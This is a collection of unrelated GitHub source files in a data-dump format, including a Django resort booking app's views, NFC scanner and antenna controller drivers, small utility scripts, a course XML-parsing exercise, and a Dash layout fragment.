bookings=Booking.objects.filter(booking_status='Pending')\n return render(request, 'resortapp/all_bookings.html', {'bookings':bookings})\ndef confirmed_bookings(request): \n bookings=Booking.objects.filter(booking_status='Booked')\n return render(request, 'resortapp/confirmed_bookings.html', {'bookings':bookings})\ndef canceled_bookings(request): \n bookings=Booking.objects.filter(booking_status='Canceled')\n return render(request, 'resortapp/canceled_bookings.html', {'bookings':bookings})\ndef confirm_booking(request,booking_id): \n bookings=Booking.objects.get(id=booking_id)\n cname=bookings.customer.user.first_name\n to_email=bookings.customer.user.email\n if request.method == \"POST\": \n booking_id=request.POST.get('booking_id')\n booking_date=request.POST.get('booking_date')\n booking_status='Booked'\n number_of_people=request.POST.get('number_of_people')\n booking_amount=request.POST.get('booking_amount')\n mode_of_payment=request.POST.get(\"mode_of_payment\") \n Booking.objects.filter(pk=booking_id).update(booking_status=booking_status,mode_of_payment=mode_of_payment)\n subject = 'Maldorkar Resort - Booking Confirmation'\n message = 'Hello '+cname+\", Your Booking on date \"+booking_date+\" is confirmed\"\n recepient = to_email\n send_mail(subject, \n message, EMAIL_HOST_USER, [recepient], fail_silently = False)\n return redirect('confirmed_bookings')\n return render(request, 'resortapp/confirm_booking.html', {'booking_id':booking_id,'booking':bookings})\ndef cancel_booking(request,booking_id): \n bookings=Booking.objects.get(id=booking_id)\n cname=bookings.customer.user.first_name\n to_email=bookings.customer.user.email\n if request.method == \"POST\": \n booking_id=request.POST.get('booking_id') \n booking_status='Canceled'\n reason=request.POST.get('reason')\n booking_date=request.POST.get('booking_date') \n Booking.objects.filter(pk=booking_id).update(booking_status=booking_status)\n subject = 'Maldorkar Resort - Booking Canceled'\n message = 'Hello '+cname+\", Your Booking on date \"+booking_date+\" is canceled. Reason for Cancelation is:\"+reason\n recepient = to_email\n send_mail(subject, \n message, EMAIL_HOST_USER, [recepient], fail_silently = False)\n return redirect('canceled_bookings')\n return render(request, 'resortapp/cancel_booking.html', {'booking_id':booking_id,'booking':bookings}) \ndef my_bookings(request):\n user=request.user\n CustomerUser=Customer.objects.get(user_id=user.id)\n bookings=Booking.objects.filter(customer_id=CustomerUser.id)\n return render(request, 'resortapp/my_bookings.html', {'user':user,'customer':CustomerUser,'bookings':bookings})\n\ndef packages(request):\n shelf = Package_detail.objects.all()\n return render(request, 'resortapp/packages.html', {'shelf': shelf})\ndef about(request):\n customer_reviews = CustomerReview.objects.all()\n return render(request, 'resortapp/about.html', {'customer_reviews': customer_reviews})\ndef contact(request):\n shelf = Package_detail.objects.all()\n return render(request, 'resortapp/contact.html', {'shelf': shelf})\ndef write_review(request):\n user=request.user\n CustomerUser=Customer.objects.get(user_id=user.id)\n customer_id=CustomerUser.id\n new_review = ReviewCreate()\n if request.method == 'POST':\n cust_id=request.POST.get(\"customer_id\")\n review_message=request.POST.get(\"review_message\")\n new_review=CustomerReview()\n new_review.customer_id=cust_id\n new_review.review_message=review_message\n new_review.save()\n return redirect('about')\n else:\n return render(request, 'resortapp/review_form.html', {'review_form':new_review,'customer_id':customer_id})\n\n \n\ndef new_booking(request,package_id):\n user=request.user\n CustomerUser=Customer.objects.get(user_id=user.id)\n customer_id=CustomerUser.id\n package=Package_detail.objects.get(id=package_id) \n package_name=package.package_name\n package_description=package.description\n amount_per_head=package.amount_per_head\n new_booking = BookingCreate()\n booking_errors=False\n booking_error_message=\"\"\n if request.method == 'POST':\n cust_id=request.POST.get(\"customer_id\")\n p_id=request.POST.get(\"package_id\")\n num_people=request.POST.get(\"number_of_people\")\n booking_amt=request.POST.get(\"booking_amount\")\n bdate=request.POST.get(\"booking_date\")\n my_bookings=Booking.objects.filter(customer_id=CustomerUser.id,booking_date=bdate)\n bcount=my_bookings.count()\n if bcount == 0:\n booking_errors=False\n booking_error_message=\"\"\n new_booking=Booking()\n new_booking.customer_id=cust_id\n new_booking.package_id=p_id\n new_booking.booking_date=bdate\n new_booking.booking_amount=booking_amt\n new_booking.number_of_people=num_people\n new_booking.check_in_date=None\n new_booking.save()\n return redirect('my_bookings')\n else:\n booking_errors=True\n booking_error_message=\"You already have booking on same date.\"\n return render(request, 'resortapp/booking_form.html', {'booking_errors':booking_errors,'booking_error_message':booking_error_message,'update_booking_form':new_booking,'customer_id':customer_id,'package_id':package_id,'package':package}) \n else:\n return render(request, 'resortapp/booking_form.html', {'booking_errors':booking_errors,'booking_error_message':booking_error_message,'update_booking_form':new_booking,'customer_id':customer_id,'package_id':package_id,'package':package})\ndef update_booking(request, booking_id):\n booking_id = int(booking_id)\n try:\n booking_sel = Booking.objects.get(id = booking_id)\n except Booking.DoesNotExist:\n return redirect('index')\n booking_form = BookingCreate(request.POST or None, instance = booking_sel)\n if booking_form.is_valid():\n booking_form.save()\n return redirect('index')\n return render(request, 'resortapp/update_booking.html', {'update_booking_form':booking_form})\ndef delete_booking(request, booking_id):\n booking_id = int(booking_id)\n try:\n booking_sel = Booking.objects.get(id = booking_id)\n except Booking.DoesNotExist:\n return redirect('index')\n booking_sel.delete()\n return redirect('index')\ndef cust_signin(request):\n args={}\n return render(request, \"resortapp/customer_signin.html\",\n\t\t{'args': args})\ndef cust_signup(request):\n args={}\n user_form = UserForm(request.POST or None)\n customer_form = CustomerForm(request.POST or None)\n if request.method == \"POST\":\n user_form = UserForm(request.POST)\n customer_form = CustomerForm(request.POST)\n if user_form.is_valid() and customer_form.is_valid():\n new_user_instance = User.objects.create_user(**user_form.cleaned_data)\n new_customer_instance = customer_form.save(commit=False)\n new_customer_instance.user = new_user_instance\n new_customer_instance.save()\n login(request, authenticate(\n\t\t\t\tusername=user_form.cleaned_data[\"username\"],\n\t\t\t\tpassword=user_form.cleaned_data[\"password\"]\n\t\t))\n return redirect('index')\n else:\n print(\"Validation Error\")\n for err in user_form.errors:\n print(err)\n for err in customer_form.errors:\n print(err)\n args['user_form']=user_form\n args['customer_form']=customer_form\n return render(request, \"resortapp/customer_signup.html\",\n\t\t{'args': args,\"user_form\": user_form, \"customer_form\":customer_form})\n\ndef booking_report(request):\n if request.method == \"POST\":\n from_date=request.POST.get(\"from_date\")\n to_date=request.POST.get(\"to_date\")\n Bookings=Booking.objects.filter(booking_date__gte=from_date,booking_date__lte=to_date)\n return render(request, \"admin/booking_report_view.html\",{'from_date':from_date,'to_date':to_date,'bookings':Bookings})\n else:\n return render(request, \"admin/booking_report.html\")\n\ndef purchase_report(request):\n if request.method == \"POST\":\n from_date=request.POST.get(\"from_date\")\n to_date=request.POST.get(\"to_date\")\n Purchases=Purchase_detail.objects.filter(purchase_date__gte=from_date,purchase_date__lte=to_date)\n return render(request, \"admin/purchase_report_view.html\",{'from_date':from_date,'to_date':to_date,'purchases':Purchases})\n else:\n return render(request, \"admin/purchase_report.html\")\n","repo_name":"laxminagaral/Maldorkar-Resort","sub_path":"resortapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15888787807","text":"import re\nimport os \nimport random\n\n# Path to the settings file of windows terminal\nsettings_file = \"C:\\\\Users\\\\jackh\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\\\LocalState\\\\settings.json\"\nnew_settings_data = \"\"\n\nwith open(settings_file, \"r\") as f:\n contents = f.read()\n f.close()\ncurrent_backgrounds = re.findall('(?:\"backgroundImage\") : \"(.*)\"', contents)\nprint(current_backgrounds)\n\n# Path to a folder containg the pictures that you want rotated \npath_to_pics = \"C:\\\\Users\\\\jackh\\\\Pictures\\\\terminalBackgrounds\\\\\"\n\npics = (os.listdir(path_to_pics))\n\npictures = []\nfor pic in pics:\n pic = str(path_to_pics) + str(pic)\n pic = pic.replace(\"\\\\\", \"\\\\\\\\\")\n pictures.append(pic)\n\n\nnew_settings_data = contents\nrandom_choices = set()\nwhile len(random_choices) != len(current_backgrounds):\n random_choice = (random.choice(pictures))\n if random_choice not in current_backgrounds: \n random_choices.add(random_choice)\n\n\nfor old_background,new_background in zip(current_backgrounds,random_choices):\n new_settings_data = new_settings_data.replace(old_background, new_background)\n print(str(random_choices))\n with open(settings_file, \"w\") as f:\n f.write(new_settings_data)\n f.close()\n","repo_name":"jackhop34/WindowsTerminalBackgroundImageTool","sub_path":"rotater.py","file_name":"rotater.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38455550321","text":"import threading\nimport board\nimport serial\nimport subprocess\n\nfrom drivers.adafruit_pn532_uart import PN532_UART\n\ncard_uid_dict = { \\\n\t\"41021318\": 0, \\\n\t\"419018818\": 1}\n\nclass NFCScanner:\n\tdef __init__(self, verbose=0):\n\t\tself.uart = serial.Serial(\"/dev/ttyS0\", baudrate=115200, timeout=0.001)\n\t\tself.pn532 = PN532_UART(self.uart, debug=False)\n\t\tself.ic, self.ver, self.rev, self.support = self.pn532.get_firmware_version()\n\t\t# Configure PN532 to communicate with MiFare cards\n\t\tself.pn532.SAM_configuration()\n\t\tif (verbose):\n\t\t\tprint(\"Configured NFC Scanner\")\n\n\t\tself.card_detected_ev = threading.Event()\n\t\tself.card_id = 0xDEADBEEF\n\n\tdef run_nfc_listener(self):\n\t\twhile True:\n\t\t\t # Check if a card is available to read\n\t\t\tuid = self.pn532.read_passive_target(timeout=0.1)\n\t\t\t# Try again if no card is available.\n\t\t\tif uid is None:\n\t\t\t\tcontinue\n\t\t\t# Store the card ID and awaken all waiting threads\n\t\t\tself.card_id = uid\n\t\t\tself.card_detected_ev.set()\n\n\tdef scan_card(self):\n\t\t# wait for a new card to be scanned\n\t\tself.card_detected_ev.clear()\n\t\tself.card_detected_ev.wait()\n\n\t\tcard_uid_str = \"{}{}{}{}\".format(\n\t\t\tself.card_id[0],\n\t\t\tself.card_id[1],\n\t\t\tself.card_id[2],\n\t\t\tself.card_id[3])\n\n\t\tprint('Found card with UID: {}'.format(card_uid_str))\n\t\tsubprocess.call([\"aplay\", \"../media/beedooboop.wav\"])\n\n\t\t# print(str(self.card_id))\n\t\tuser_num = -1\n\t\tif card_uid_str in card_uid_dict:\n\t\t\tuser_num = card_uid_dict[card_uid_str]\n\t\t\tprint(\"User: {}\".format(user_num))\n\n\t\telse:\n\t\t\tprint(\"User not found\")\n\t\t# play beep sound?\n\t\treturn user_num\n","repo_name":"CoolNamesAllTaken/medley","sub_path":"src/nfc_service.py","file_name":"nfc_service.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33217714","text":"\"\"\" @package hwm.hardware.devices.drivers.mxl_antenna_controller.mxl_antenna_controller\nThis module contains the driver and command handler for the MXL Antenna Controller.\n\"\"\"\n\n# Import required modules\nimport logging, time, json\nimport urllib, urllib2\nfrom twisted.internet import task, defer, threads\nfrom twisted.internet.defer import inlineCallbacks\nfrom hwm.hardware.devices.drivers import driver\nfrom hwm.hardware.pipelines import pipeline\nfrom hwm.command import command\nfrom hwm.command.handlers import handler\n\nclass MXL_Antenna_Controller(driver.HardwareDriver):\n \"\"\" A driver for the custom MXL antenna controller.\n\n This HardwareDriver class provides an interface to the MXL antenna controller.\n \"\"\"\n\n def __init__(self, device_configuration, command_parser):\n \"\"\" Sets up the antenna controller.\n\n @param device_configuration A dictionary containing the controller's configuration options.\n @param command_parser A reference to the active CommandParser instance. The antenna controller will use this \n to calibrate and park the antenna when appropriate.\n \"\"\"\n\n super(MXL_Antenna_Controller,self).__init__(device_configuration, command_parser)\n\n # Set configuration settings\n self.update_period = device_configuration['update_period']\n self.controller_api_endpoint = device_configuration['controller_api_endpoint']\n self.controller_api_timeout = device_configuration['controller_api_timeout']\n\n # Initialize the driver's command handler\n self._command_handler = AntennaControllerHandler(self)\n\n self._reset_controller_state()\n\n def prepare_for_session(self, session_pipeline):\n \"\"\" Prepares the antenna controller for use by a new session.\n\n @note This method loads the active 'tracker' service from the session pipeline. If no such service is available, the\n antenna controller will still respond to manual adjustments but it will not be able to automatically track a \n target.\n\n @param session_pipeline The Pipeline associated with the new session.\n @return Returns a deferred for the state update LoopingCall if a 'tracker' service can be loaded and False\n otherwise.\n \"\"\"\n\n # Load the pipeline's active tracking service\n self._session_pipeline = session_pipeline\n self._tracker_service = None\n try:\n self._tracker_service = session_pipeline.load_service(\"tracker\")\n except pipeline.ServiceTypeNotFound as e:\n # A tracker service isn't available\n logging.error(\"The MXL antenna controller could not load a 'tracker' service from the session's pipeline.\")\n return False\n\n # Register a callback with the tracking service\n self._tracker_service.register_position_receiver(self.process_new_position)\n\n # Start a looping call to update the tracker's state\n self._state_update_loop = task.LoopingCall(self._update_state)\n update_loop_deferred = self._state_update_loop.start(self.update_period)\n update_loop_deferred.addErrback(self._handle_state_update_error)\n return update_loop_deferred\n\n def cleanup_after_session(self):\n \"\"\" Resets the antenna controller to its idle state after the session using it has ended.\n\n @note The \"calibrate_and_park\" command executed in this method is run in kernel mode because it must always happen,\n regardless of the user controlling the session.\n\n @return Returns the deferred for the \"calibrate_and_park\" command call that goes out at the end of each session.\n \"\"\"\n\n # Vertically calibrate and park the antenna\n command_request = {\n 'command': \"calibrate_and_park\",\n 'destination': self._session_pipeline.id+\".\"+self.id\n }\n command_deferred = self._command_parser.parse_command(command_request, user_id = None, kernel_mode = True)\n\n # Stop the state update LoopingCall\n if self._state_update_loop is not None and self._state_update_loop.running:\n self._state_update_loop.stop()\n\n # Reset the device\n self._reset_controller_state()\n\n return command_deferred\n\n def get_state(self):\n \"\"\" Returns a dictionary that contains the current state of the antenna controller.\n\n @return Returns a dictionary containing select antenna controller state.\n \"\"\"\n\n return self._controller_state\n\n def process_new_position(self, target_position):\n \"\"\" Instructs the antenna controller to point at the specified target.\n\n This callback commands the antenna to point at the specified target's azimuth/elevation. It is called every time the\n loaded \"tracker\" service has new position information.\n\n @throw May raise InvalidTargetPosition if the specified target position does not contain an azimuth or elevation.\n\n @param target_position A dictionary containing details about the target's position, including its azimuth and\n elevation.\n @return Returns the deferred for the \"move\" command.\n \"\"\"\n\n # Verify the target's position\n if 'azimuth' not in target_position or 'elevation' not in target_position:\n raise InvalidTargetPosition(\"The provided target position is invalid (didn't contain an azimuth or elevation).\")\n\n target_elevation = 0 if target_position['elevation']<0 else int(target_position['elevation'])\n\n # Move the antenna\n command_request = {\n 'command': \"move\",\n 'destination': self._session_pipeline.id+\".\"+self.id,\n 'parameters': {\n 'azimuth': int(target_position['azimuth']),\n 'elevation': target_elevation\n }\n }\n command_deferred = self._command_parser.parse_command(command_request, \n user_id = self._session_pipeline.current_session.user_id)\n\n return command_deferred\n\n @inlineCallbacks\n def _update_state(self):\n \"\"\" Updates the antenna controller's state.\n\n This method queries the antenna controller for its current azimuth and elevation and saves it to the driver state.\n It should typically be called automatically using something like LoopingCall.\n\n @return Returns a dictionary containing the new device state. If an error occurs updating the state None will be\n returned instead.\n \"\"\"\n\n # Query the antenna controller for it's current orientation\n command_request = {\n 'command': \"get_state\",\n 'destination': self._session_pipeline.id+\".\"+self.id\n }\n command_deferred = self._command_parser.parse_command(command_request, \n user_id = self._session_pipeline.current_session.user_id)\n result = yield command_deferred\n\n # Process the results\n if result['response']['status'] == \"okay\":\n self._controller_state['timestamp'] = int(time.time())\n self._controller_state['azimuth'] = result['response']['azimuth']\n self._controller_state['elevation'] = result['response']['elevation']\n\n defer.returnValue(self.get_state())\n else:\n defer.returnValue(None)\n\n def _handle_state_update_error(self, failure):\n \"\"\" Handles errors that may occur during the state update loop.\n\n This errback handles any exceptions that may be thrown during the state update loop.\n\n @param failure A Failure object encapsulating the error.\n @return Returns False after logging the error.\n \"\"\"\n\n # Log the error\n logging.error(\"An error occured while updating '\"+self.id+\"' device state: '\"+failure.getErrorMessage()+\"'\")\n # TODO: Log the error to the driver's state dictionary\n\n # Stop the event loop just incase it's still running\n if self._state_update_loop.running:\n self._state_update_loop.stop()\n\n return False\n\n def _reset_controller_state(self):\n \"\"\" Resets the controller's state initially and in between sessions.\n \"\"\"\n\n # Set the driver's attributes\n self._state_update_loop = None\n self._current_position = None\n self._tracker_service = None\n self._session_pipeline = None\n self._controller_state = {\n \"timestamp\": None,\n \"azimuth\": 0,\n \"elevation\": 0,\n \"state\": \"inactive\"\n }\n\nclass AntennaControllerHandler(handler.DeviceCommandHandler):\n \"\"\" This command handler processes commands for the MXL Antenna Controller.\n \"\"\"\n\n @inlineCallbacks\n def command_move(self, active_command):\n \"\"\" Moves the antenna to the location specified in the command.\n\n @param active_command The currently executing Command.\n @return Returns a deferred that will be fired with a dictionary containing the results of the move command. If the \n command fails, the returned deferred will error.\n \"\"\"\n\n # Build and send the command request\n request = self._build_request(\"W\", {'az': int(active_command.parameters['azimuth']),\n 'el': int(active_command.parameters['elevation'])})\n command_deferred = self._send_commands([request])\n response = yield command_deferred\n\n # Check the response and return the move_antenna command response\n if response['status'] == \"okay\":\n self.driver._controller_state['state'] = \"active\"\n defer.returnValue({'message': \"The antenna is being moved.\"})\n else:\n raise command.CommandError(\"An error occured while attempting to move the antenna: '\"+response['message']+\"'\")\n\n def settings_move(self):\n \"\"\" Provides meta-data for the \"move\" command.\n\n @return Returns a dictionary containing meta-data about the command.\n \"\"\"\n\n # Define a schema for parameters\n command_parameters = [\n {\n \"type\": \"integer\",\n \"minvalue\": 0,\n \"maxvalue\": 360,\n \"required\": True,\n \"title\": \"azimuth\",\n \"description\": \"The desired azimuth.\"\n },\n {\n \"type\": \"integer\",\n \"minvalue\": 0,\n \"maxvalue\": 210,\n \"required\": True,\n \"title\": \"elevation\",\n \"description\": \"The desired elevation.\"\n }\n ]\n\n return build_metadata_dict(command_parameters, 'move', self.name, requires_active_session = True,\n schedulable = True)\n\n @inlineCallbacks\n def command_park(self, active_command):\n \"\"\" Parks the antenna.\n\n This command parks the antenna at an azimuth of 270 degrees, and an elevation of 0 degrees.\n\n @param active_command The currently executing Command.\n @return Returns a deferred that will be fired with a dictionary containing the results of the park command. If the \n command fails, the returned deferred will error.\n \"\"\"\n\n # Build and send the command request\n request = self._build_request(\"park\")\n command_deferred = self._send_commands([request])\n response = yield command_deferred\n\n # Check the response and return the park command response\n if response['status'] == \"okay\":\n self.driver._controller_state['state'] = \"parking\"\n defer.returnValue({'message': \"The antenna is being parked.\"})\n else:\n raise command.CommandError(\"An error occured while parking the antenna: '\"+response['message']+\"'\")\n\n def settings_park(self):\n \"\"\" Provides meta-data for the \"park\" command.\n\n @return Returns a dictionary containing meta-data about the command. \n \"\"\"\n\n return build_metadata_dict([], 'park', self.name, requires_active_session = True)\n\n @inlineCallbacks\n def command_calibrate(self, active_command):\n \"\"\" Completely calibrates the antenna.\n\n This command calibrates the antenna's azimuth and elevation by rotating it until it hits the vertical and horizontal \n hardstops, at which point it will tare the azimuth and elevation.\n\n @note This command can only be interrupted by a \"stop\" command. Any \"move\" commands received when the antenna is \n being calibrated will be ignored.\n\n @param active_command The currently executing command.\n @return Returns a deferred that will be fired with a dictionary containing the results of the calibration. If the \n command fails, the returned deferred will error.\n \"\"\"\n\n # Build and send the command request\n request = self._build_request(\"cal\")\n command_deferred = self._send_commands([request])\n response = yield command_deferred\n\n # Check the response and return the calibration results\n if response['status'] == \"okay\":\n self.driver._controller_state['state'] = \"calibrating\"\n defer.returnValue({'message': \"The antenna is being calibrated.\"})\n else:\n raise command.CommandError(\"An error occured while calibrating the antenna: '\"+response['message']+\"'\")\n\n def settings_calibrate(self):\n \"\"\" Provides meta-data for the \"calibrate\" command.\n\n @return Returns a dictionary containing meta-data about the command.\n \"\"\"\n\n return build_metadata_dict([], 'calibrate', self.name, requires_active_session = True)\n\n @inlineCallbacks\n def command_calibrate_vert(self, active_command):\n \"\"\" Performs a vertical calibration.\n\n This command performs a vertical (El) calibration only. This command exists because the elevation tends to drift off\n quicker than the azimuth.\n\n @note This command can only be interrupted by a \"stop\" command. Any \"move\" commands received when the antenna is \n being vertically calibrated will be ignored.\n\n @param active_command The currently executing command.\n @return Returns a deferred that will be fired with a dictionary containing the results of the commands. If one of \n the commands fail, the returned deferred will error.\n \"\"\"\n\n # Build and send the command request\n request = self._build_request(\"vert_cal\")\n command_deferred = self._send_commands([request])\n response = yield command_deferred\n\n # Check the response and return the results\n if response['status'] == \"okay\":\n self.driver._controller_state['state'] = \"calibrating\"\n defer.returnValue({'message': \"The antenna is being vertically calibrated.\"})\n else:\n raise command.CommandError(\"An error occured while vertically calibrating the antenna: '\"+response['message']+\"'\")\n\n def settings_calibrate_vert(self):\n \"\"\" Provides meta-data for the \"calibrate_vert\" command.\n\n @return Returns a dictionary containing meta-data about the command.\n \"\"\"\n\n return build_metadata_dict([], 'calibrate_vert', self.name, requires_active_session = True)\n\n @inlineCallbacks\n def command_calibrate_and_park(self, active_command):\n \"\"\" Performs a full calibration and parks the antenna.\n\n This command calibrates the azimuth and elevation of the antenna and parks it at its rest position. \n\n @note The \"calibrate\" command can only be interrupted by a \"stop\" command. Any \"move\" commands received when the \n antenna is being calibrated will be ignored.\n\n @param active_command The currently executing command.\n @return Returns a deferred that will be fired with a dictionary containing the results of the commands. If the \n commands fail, the returned deferred will error.\n \"\"\"\n\n # Build and send the command requests\n request_calibrate = self._build_request(\"cal\")\n request_park = self._build_request(\"park\")\n command_deferred = self._send_commands([request_calibrate, request_park])\n responses = yield command_deferred\n\n # Check the responses\n if responses['status'] == \"okay\":\n self.driver._controller_state['state'] = \"calibrating\"\n defer.returnValue({'message': \"The antenna is being fully calibrated and will be parked at an Az/El of 270/0.\"})\n else:\n raise command.CommandError(\"An error occured while attempting to calibrate and park the antenna: '\"+\n responses['message']+\"'\")\n\n def settings_calibrate_and_park(self):\n \"\"\" Provides meta-data for the \"calibrate_and_park\" command.\n\n @return Returns a dictionary containing meta-data about the command.\n \"\"\"\n\n return build_metadata_dict([], 'calibrate_and_park', self.name, requires_active_session = True)\n\n @inlineCallbacks\n def command_get_state(self, active_command):\n \"\"\" Queries the antenna controller for its current state.\n\n This command loads and returns the controller's current state (i.e. its azimuth and elevation).\n \n @note If the antenna controller is out of calibration, this command may not return accurate results.\n\n @param active_command The currently executing command.\n @return Returns a deferred that will be fired with a dictionary containing the results of the state command. If the \n command fails, the returned deferred will error.\n \"\"\"\n\n # Build and send the command request\n request = self._build_request(\"C2\")\n command_deferred = self._send_commands([request])\n response = yield command_deferred\n\n # Check the response and return the results\n if response['status'] == \"okay\":\n defer.returnValue({'azimuth': response['responses'][0]['azimuth'], \n 'elevation': response['responses'][0]['elevation']})\n else:\n raise command.CommandError(\"An error occured fetching the antenna controller state: '\"+response['message']+\"'\")\n\n def settings_get_state(self):\n \"\"\" Provides meta-data for the \"get_state\" command.\n\n @return Returns a dictionary containing meta-data about the command.\n \"\"\"\n\n return build_metadata_dict([], 'get_state', self.name, requires_active_session = True)\n\n @inlineCallbacks\n def command_stop(self, active_command):\n \"\"\" Stops the antenna.\n\n This command instructs the antenna controller to stop executing whatever action it may currently be executing. It\n will not be calibrated or parked after being stopped.\n\n @param active_command The currently executing command.\n @return Returns a deferred that will be fired with a dictionary containing the results of the stop command. If the \n command fails, the returned deferred will error.\n \"\"\"\n\n # Build and send the command request\n request = self._build_request(\"s\")\n command_deferred = self._send_commands([request])\n response = yield command_deferred\n\n # Check the response\n if response['status'] == \"okay\":\n self.driver._controller_state['state'] = \"stopped\"\n defer.returnValue({'message': \"The antenna controller has been stopped.\"})\n else:\n raise command.CommandError(\"An error occured while stopping the antenna: '\"+response['message']+\"'\")\n\n def settings_stop(self):\n \"\"\" Provides meta-data for the \"stop\" command.\n\n @return Returns a dictionary containing meta-data about the command.\n \"\"\"\n\n return build_metadata_dict([], 'stop', self.name, requires_active_session = True)\n\n @inlineCallbacks\n def command_stop_emergency(self, active_command):\n \"\"\" Stops the antenna in the event of an emergency.\n\n This command simulates a press of the emergency stop button on the antenna controller. An emergency stop differs \n from a normal stop in that, after stopped, the device will not respond to any commands until the 'S' command is sent \n again to bring the antenna controller out of emergency stop mode.\n \n @param active_command The currently executing command.\n @param Returns a deferred that will be fired with a dictionary containing the results of the emergency stop. If the \n command fails, the returned deferred will error.\n \"\"\"\n\n # Build and send the command request\n request = self._build_request(\"S\")\n command_deferred = self._send_commands([request])\n response = yield command_deferred\n\n # Check the response\n if response['status'] == \"okay\":\n self.driver._controller_state['state'] = \"emergency_stopped\"\n defer.returnValue({'message': \"The antenna has been stopped and placed in emergency mode. It will not respond to \"+\n \"new commands until it receives another emergency stop command.\"})\n else:\n raise command.CommandError(\"An error occured while performing the emergency stop: '\"+response['message']+\"'\")\n\n def settings_stop_emergency(self):\n \"\"\" Provides meta-data for the \"stop_emergency\" command.\n\n @return Returns a dictionary containing meta-data about the command.\n \"\"\"\n\n return build_metadata_dict([], 'stop_emergency', self.name, requires_active_session = True, dangerous = True)\n\n def _build_request(self, command, parameters = None):\n \"\"\" Constructs a request dictionary for the antenna controller API.\n \n @param command The command to be executed. This should be a low level antenna controller command, not a Mercury2\n command.\n @param parameters A dictionary containing parameters that should be passed along with the command.\n @return Returns a dictionary that represents a request to the antenna controller web API.\n \"\"\"\n\n # Construct the request\n new_request = {\n 'command': command\n }\n\n if parameters is not None:\n new_request['arguments'] = parameters\n\n return new_request\n\n def _send_commands(self, requests):\n \"\"\" Sends commands to the antenna controller API.\n\n @param requests An array containing requests to be sent to the antenna controller command API. Requests will be \n sequentially sent in the order provided.\n @return Returns a deferred that will eventually be fired with the command results (or an error message in the event\n of a failure).\n \"\"\"\n\n # Encode the request\n request_json = json.dumps(requests)\n request_encoded = urllib.urlencode({\"request\": request_json})\n\n # Query the controller\n command_deferred = self._query_antenna_controller(request_encoded)\n command_deferred.addErrback(self._handle_query_error)\n\n return command_deferred\n\n @inlineCallbacks\n def _query_antenna_controller(self, encoded_request):\n \"\"\" Asynchronously sends commands to the antenna controller.\n\n This method is used by _send_commands() to send commands to the antenna controller API in a non-blocking fashion.\n\n @param encoded_request The encoded request JSON ready for transmission.\n @return Returns a deferred that will be fired with the request response.\n \"\"\"\n\n # Query the antenna controller API\n ac_request = urllib2.Request(self.driver.controller_api_endpoint, encoded_request)\n ac_opener = urllib2.build_opener()\n ac_deferred = threads.deferToThread(ac_opener.open, ac_request, None, self.driver.controller_api_timeout)\n ac_response = yield ac_deferred\n\n # Parse and return response\n parsed_response = json.load(ac_response)\n defer.returnValue(parsed_response)\n\n def _handle_query_error(self, failure):\n \"\"\" Handles errors that may occur while querying the antenna controller by returning a dictionary containing an\n error response\n\n @param failure The Failure object encapsulating the error.\n \"\"\"\n\n request_response = {}\n request_response['status'] = \"error\"\n request_response['message'] = \"An error occured while querying the antenna controller.\"\n\n return request_response\n\nclass AntennaControllerError(Exception):\n pass\nclass InvalidTargetPosition(AntennaControllerError):\n pass\n","repo_name":"MichiganExplorationLab/Mercury2-HWM","sub_path":"hwm/hardware/devices/drivers/mxl_antenna_controller/mxl_antenna_controller.py","file_name":"mxl_antenna_controller.py","file_ext":"py","file_size_in_byte":23007,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"24312794496","text":"import os\n\ndef getAllDirDE(path):\n stack=[]\n stack.append(path)\n\n #处理栈,当栈为空的时候结束循环\n while len(stack)!=0:\n #从栈里取出数据\n dirPath=stack.pop()\n #目录下所有文件\n filesList=os.listdir(dirPath)\n\n\n #处理每一个文件,如果是普通文件则打印出来,如果是目录则将目录的地址压栈\n for fileName in filesList:\n fileAbsPath=os.path.join(dirPath,fileName)\n if os.path.isdir(fileAbsPath):\n #是目录就压栈\n print(\"目录:\"+fileName)\n stack.append(fileAbsPath)\n else:\n #是文件就打印\n print('普通:'+fileName)\ngetAllDirDE(r'/Users/zenghailong/PycharmProjects/mypro001')","repo_name":"HailongZeng/mypython_learning","sub_path":"13、遍历目录/栈模拟递归遍历目录(深度遍历).py","file_name":"栈模拟递归遍历目录(深度遍历).py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25217802081","text":"import urllib.request, urllib.parse, urllib.error\nimport xml.etree.ElementTree as ET\nimport ssl\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nurl = input('Enter url: ')\nif len(url) < 1: url = 'http://py4e-data.dr-chuck.net/comments_468303.xml'\n\nfhand = urllib.request.urlopen(url, context=ctx)\ndata = fhand.read()\n\ntree = ET.fromstring(data)\n\nbr = 0\nsuma = 0\n\ncounts = tree.findall('.//count')\nfor item in counts :\n br = br + 1\n suma = suma + int(item.text)\n\nprint('Count:', br)\nprint('Sum' , suma)\n","repo_name":"marina-kantar/Python-for-Everybody","sub_path":"assignment_parsing_xml.py","file_name":"assignment_parsing_xml.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70849061313","text":"\n# Import necessary libraries\nfrom dash import html, dcc\nimport dash_bootstrap_components as dbc\nfrom components.callbacks.do_it import blank_fig\n\nGW_STYLE = {\n \"position\": \"fixed\",\n \"top\": \"200px\",\n \"left\": \"18rem\",\n \"right\": \"5rem\",\n \"bottom\":\"60px\",\n \"background-color\":'#252930',\n \"color\":\"white\"\n}\n\n\n\nBUTTON_STYLE = {\n \"background-color\":\"#7B1112\",\n \"color\":\"white\"\n}\n# Define the navbar structure\ndef Graph_Window():\n\n layout = html.Div([\n html.Div([\n dcc.Graph(figure=blank_fig(), id=\"figure_out\"),\n ]),\n html.Div([ # hover graphs\n dcc.Graph(figure=blank_fig(), id='first_hover'),\n dcc.Graph(figure=blank_fig(), id='second_hover'), 